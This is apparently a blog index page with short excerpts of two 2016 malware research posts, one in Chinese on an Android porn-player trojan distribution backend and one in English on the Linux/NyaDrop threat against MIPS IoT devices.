色情播放器类恶意软件数量近几年呈现爆发式增长,软件总量达到千万量级,时刻威胁着用户手机及财产安全。“天下熙熙,皆为利来;天下攘攘,皆为利往”,这类恶意软件之所以“兴起”,它的背后一定潜伏着巨大的利益与诱惑。我们对色情播放器类恶意软件的来源、危害和传播方式进行了长期关注,揭开了其背后的黑色产业链。 一、重要线索 我们通过网络流量的分析,在“mppay.net”域名下,发现了一个APK包的渠道分发状态后台。后台页面清楚得展示出400多个渠道编号、更新日期时间和对应的下载链接。 图2.1分发后台 页面分发的软件全部为色情播放器类软件归属与Trojan.Dropper.Android.FakeDebuggerd.B同一恶意家族,并且分发的软件每天都在更新,我们选取了一段时间内下载的软件进行了统计,其中包括“91爱妹视频”、“成人i影院”、“91爱色院线”等等。 ...

2016年12月27日 · 2 分钟 · lucien116

Linux/NyaDrop - a linux MIPS IoT bad news

Background Since the end of September 2016 I received a new type of attacks that aims the MIPS platform I provided to detect IoT attacks. I will call this threat as new ELF Linux/NyaDrop as per the name used by threat actor himself, for the “nyadrop” binary that is dropped in the compromised system. This is not the “really” first time we’re seeing this threat actually, in this year, some small events was detected on having these attacks which I ignored for some reasons, and on May 22th, me and hFiref0x of KernelMode was in a convo regarding to the threat which was detected. It was obviously the same threat (proof is as per picture below, thanks to hFiref0x for the ping that time). ...

2016年12月27日 · 12 分钟 · lucien116